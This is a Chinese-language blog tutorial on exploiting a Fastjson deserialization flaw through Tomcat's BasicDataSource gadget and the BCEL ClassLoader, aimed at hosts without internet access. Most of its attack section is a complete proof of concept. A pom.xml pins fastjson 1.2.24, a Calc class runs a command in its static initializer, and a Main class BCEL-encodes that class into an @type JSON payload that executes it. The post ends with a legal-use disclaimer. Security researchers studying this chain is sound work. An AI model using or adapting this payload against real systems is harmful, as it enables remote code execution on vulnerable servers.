Fastjson反序列化漏洞2:BasicDataSource利用链-用于内网

之前说的Fastjson的利用链,补充来了,没有偷懒(狗头)
前情提要:BCEL:加载恶意类Fastjson反序列化漏洞1:吹吹水

Fastjson干了啥

Fastjson就是处理json用的,可以将json转换成对象(自定义的一套序列化和反序列化)

举个例子:

下面这个json字符串经过JSON.parse(jsonString)处理

可以得到com.test.demo.Student类对象,age为18,name为XW

{"@type":"com.test.demo.Student","age":18,"name":"XW"}

@type 用于指明类名

快速了解一下fastjson的三个重要方法

  • 使用parse,不仅会得到对象,还会调用这个对象的setter;

  • 使用parseObject,不仅会得到对象且调用setter,还会调用getter。

  • 使用JSON.toJSONString,会自动调用类的getter。

也就是说setter和getter是我们可以考虑的入口点,类似readObject

Fastjson有哪些利用链

  • org.apache.tomcat.dbcp.dbcp2.BasicDataSource
  • com.sun.rowset.JdbcRowSetImpl
  • com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl

第一个利用链也是一个字节码的利用,但其无需目标额外开启选项,也不用连接外部服务器,利用条件更低。使用的是BCEL加载恶意类。

第二个利用链用到的是JNDI注入,利用条件相对较低,但是需要连接远程恶意服务器,在目标没外网的情况下无法直接利用

第三个利用链是常规的Java字节码的执行,但是需要开启Feature.SupportNonPublicField,比较鸡肋

BasicDataSource链(内网链)

可以发现BasicDataSource为入口

getConnection()->createDataSource()->createConnectionFactory()

getConnection

image

createDataSource

createDataSource中调用了createConnectionFactory()

image

createConnectionFactory

让我们看看这个createConnectionFactory方法,发现其调用链自定义的ClassLoader

image

此时就可以利用BCEL的ClassLoader进而加载恶意类执行代码

代码

考虑到版本问题,这里给出我的pom.xml
需要注意的是不同版本的tomcat-dbcp最后对应的payload有所不同,这点在之前的BCEL中有说过

Tomcat7 org.apache.tomcat.dbcp.dbcp.BasicDataSource
Tomcat8及以后 org.apache.tomcat.dbcp.dbcp2.BasicDataSource

<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0"
         xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
         xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
    <modelVersion>4.0.0</modelVersion>

    <groupId>org.example</groupId>
    <artifactId>Fastjson_BasicDataSource</artifactId>
    <version>1.0-SNAPSHOT</version>

    <properties>
        <maven.compiler.source>8</maven.compiler.source>
        <maven.compiler.target>8</maven.compiler.target>
        <project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>
    </properties>
    <dependencies>
        <dependency>
            <groupId>com.alibaba</groupId>
            <artifactId>fastjson</artifactId>
            <version>1.2.24</version>  <!-- 请使用最新版本 -->
        </dependency>

        <dependency>
            <groupId>org.apache.tomcat</groupId>
            <artifactId>tomcat-dbcp</artifactId>
            <version>9.0.0.M15</version>
        </dependency>
    </dependencies>
</project>
package org.example;

import java.io.IOException;

public class Calc {
        static {
            try {
                System.out.println("    [+]calc类的静态初始化模块,调用Runtime.getRuntime().exec(\"calc.exe\");");
                Runtime.getRuntime().exec("calc.exe");
            } catch (IOException e) {
                e.printStackTrace();
            }
        }
}
package org.example;

import com.alibaba.fastjson.JSON;
import com.sun.org.apache.bcel.internal.Repository;
import com.sun.org.apache.bcel.internal.classfile.JavaClass;
import com.sun.org.apache.bcel.internal.classfile.Utility;
import org.apache.tomcat.dbcp.dbcp2.BasicDataSource;

public class Main {
    public static void main(String[] args) throws Exception{
        System.out.println("[+]低版本jdk可用BCEL,JDK < 8u251");
        System.out.println("[+]获取Calc类");
        JavaClass cls = Repository.lookupClass(Calc.class);

        System.out.println("[+]获取Calc类的编码");
        String code = Utility.encode(cls.getBytes(), true);
        System.out.println("    "+code);

        System.out.println("[+]构造payload");
        String payload =
                "{\n" +
                        "    \"@type\": \"org.apache.tomcat.dbcp.dbcp2.BasicDataSource\",\n" +/*此处Tomcat7 org.apache.tomcat.dbcp.dbcp.BasicDataSource、Tomcat8及以后 org.apache.tomcat.dbcp.dbcp2.BasicDataSource*/
                        "    \"driverClassLoader\": {\"@type\": \"com.sun.org.apache.bcel.internal.util.ClassLoader\"},\n" +
                        "    \"driverClassName\": \"$$BCEL$$"+ code +"\"\n" +
                        "}\n";

        System.out.println(payload);
        JSON.parseObject(payload);
    }
}

执行结果

image


相信国家相信党,黑客没有好下场
请遵守相关法律法规,文中技术仅用于有授权的安全测试,禁止用于非法活动!
本文章仅面向拥有合法授权的渗透测试安全人员及进行常规操作的网络运维人员。
在操作的过程中,您应确保自己的所有行为符合当地法律法规,且不得进行违反中国人民共和国相关法律的活动。
作者不承担用户擅自使用相关技术从事任何违法活动所产生的任何责任。


posted @   aixve  阅读(266)  评论(0编辑  收藏  举报
相关博文:
阅读排行:
· 阿里最新开源QwQ-32B,效果媲美deepseek-r1满血版,部署成本又又又降低了!
· AI编程工具终极对决:字节Trae VS Cursor,谁才是开发者新宠?
· 开源Multi-agent AI智能体框架aevatar.ai,欢迎大家贡献代码
· Manus重磅发布:全球首款通用AI代理技术深度解析与实战指南
· 被坑几百块钱后,我竟然真的恢复了删除的微信聊天记录!
点击右上角即可分享
微信分享提示